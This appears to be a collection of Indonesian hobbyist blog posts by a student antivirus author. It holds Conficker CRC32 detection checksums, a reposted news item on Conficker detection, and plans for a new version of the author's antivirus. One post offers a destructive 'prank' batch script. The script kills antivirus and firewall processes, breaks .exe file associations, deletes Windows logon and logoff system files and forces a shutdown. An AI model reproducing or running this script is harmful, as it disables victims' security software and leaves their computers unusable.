Checksum Conficker

Sebagai pembuat antivirus, saya juga merasakan bagaimana menjadi seorang pemula… Dulu aku masih benar-benar tertarik ama yang namanya checksum crc32. kalo dulu tiap pulang sekolah selalu ngumpulin checksum crc32 virus. Bahkan terus menjelajah dari satu warnet ke warnet lain. Atau kalo perlu download virus sebanyak-banyaknya. Ha ha ha. Kalo diingat aneh juga.

Makin banyak aja yang bikin AV sekarang ini, bahkan anak kelas 3 SD juga bisa bikin AV…

Ya artikel kali ini cuma ngasih tahu checksum crc32 conficker aja dan karena berhubung ada pengunjung yang minta checksumnya…jadi bagi yang lagi bikin AV berbasis crc32 bisa tinggal copy deh…

Nih checksumnya…

B365A5F1
6734B768
1F466060
8A089AA0
DC906C2D

Sedangkan untuk checksum autorunnya:
BCB682E7

Pesanku buat seluruh AVMaker lokal, tetap sukses yooo!!! Dan juga tetap semangat!

By: Morphic

Thanks to:
-semua pembuat AV local
-teman-teman sekelasku di SMANSA Medan
-Pengguna Morphost yang setia… (tetap update yooo)
-to all readers

Script Cabe Rawit yang bikin jahil

sebelumnya aku minta izin ama temanku shafry karena udah minjam script dia untuk bikin artikel…

he he he he
neh script yang dimaksud…

@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown -s -t 5 -c “thank you for waiting”

by: Morphic

thanks to: all readers

Worm Conficker Tertangkap!!!

WORM Conficker yang menghebohkan itu akhirnya bisa ditangkap. Setelah bertarung selama 5 bulan, peneliti keamanan PC kini menemukan cara mendeteksi keberadaan Conficker dengan cara yang mudah dan cepat.
Sejak kehadirannya akhir tahun lalu, Conficker telah banyak mengundang perhatian karena kepintarannya menyebar sehingga mampu menginfeksi 10 juta pengguna PC di seluruh dunia.

Yang lebih mengkhawatirkan, Conficker sampai saat ini hanya mengendap seperti mata-mata di dalam komputer tanpa berbuat apa-apa. Disinyalir, worm ini menunggu instruksi lanjutan dari sang pembuat Conficker pada tanggal 1 April nanti. Apakah instruksi itu, tidak satu pun orang yang bisa menduga.

Parahnya lagi, selama ini hanya ada dua cara untuk dapat mendeteksi keberadaan Conficker; dan keduanya tidaklah mudah.

Cara pertama adalah mendeteksi lalu lintas data dari tiap komputer di dalam jaringan, yang sangat menyulitkan bagi perusahaan dengan jumlah komputer banyak.

Cara kedua adalah memindai satu per satu komputer, lagi-lagi cara yang tidak mudah.
Untungnya hanya dua hari sebelum 1 April, Tillmann Werner dan Felix Leder dari Honeynet Project menemukan kalau Conficker meninggalkan ‘sidik jari’ pada setiap komputer yang terinfeksi.

Conficker ternyata mengubah kode komputer yang terinfeksi dalam sebuah jaringan, sehingga proses deteksi bisa dilakukan secara cepat dan menyeluruh ke semua komputer di dalam jaringan. Berkat sidik jari ini, seorang peneliti lain, Dan Kaminsky, berhasil membuat tools khusus untuk mendeteksi Conficker yang detailnya bisa Anda liat melalui blognya.

Signature untuk Conficker juga telah tersedia pada aplikasi scanner jaringan seperti Nmap (open source), McAfee Foundstone Enterprise, dan Nessus. Jadi mumpung belum 1 April, bersihkan jaringan Anda dari Conficker!

- infokomputer

Rancangan Perencanaan Morphost Antivirus versi enam

Udah lama banget saya merencanakan morphost yang baru. Tapi maklumlah banyak yang harus dikerjakan. Sekarang masanya sibuk. Banyak ujian yang mesti diikuti… malah ini artikel pertama setelah saya ikut ujian UN sma. He he he.
Belum lagi harus mikirin kuliah dimana?

Dan saya jadi teringat beberapa hari yang lalu waktu pengumuman hasil UGM. Aku gk lulus. (aku jadi stres). Padahal beberapa hari setelah UM ugm aku dah periksa jawabanku dengan 3 versi kunci jawaban yang kudapat dari internet. Memang hasilku kurang memuaskan sih… hasil passing gradeku dari tiga versi itu 46%, 48,8% dan 44%.
Sementara fakultas yg kupilih FK, komputer, dan arsitektur. He he he he
Eh kok jadi curhat…

Oke masuk ke topik!
Untuk versi keenam, saya sengaja pake bahasa Indonesia sebagai bahasa pengantarnya. Biar agak beda dengan versi terdahulu.
Ada beberapa fitur baru yang akan saya tambahkan. Dan fitur-fitur tersebut gak bisa saya jelaskan secara mendetail sekarang. Ada waktunya nanti.

Saya masih bingung untuk ngasih nama apa sama morphost yang baru ini. Jadi untuk sementara saya beri nama Morphost Accords.

Di versi keenam ini, saya mengutamakan kemudahan penggunaan. Yah pokoknya semudah mungkin deh. He he he. Misalnya saja pengupdate-annya, tweaker registry dan lain-lain.

Kira-kira begini lah screen morphost yang baru.

Yang dibawah ini tampilan splash Morphost Accords.

Saya berusaha memberikan kemudahan dalam pengupdate-an. (fitur yang ini mungkin bisa diterapkan di morphost baru kalo gak ada masalah)

Ada satu kesimpulan terakhir dari morphost versi keenam ini. Yaitu, masih warna hijau…

By: Morphic

Email: karta_morphic@yahoo.co.id
Friendster: www.friendster.com/morphic
Facebook: karta_morphic@yahoo.co.id ato cari aja nama “Morphic Karta”
Blog : www.morphostlab.co.nr

Thanks to:
-kedua orang tuaku.
-semua teman-teman sekelasku, anak-anak SALE. (semoga kalian sukses semua!)
-to all reader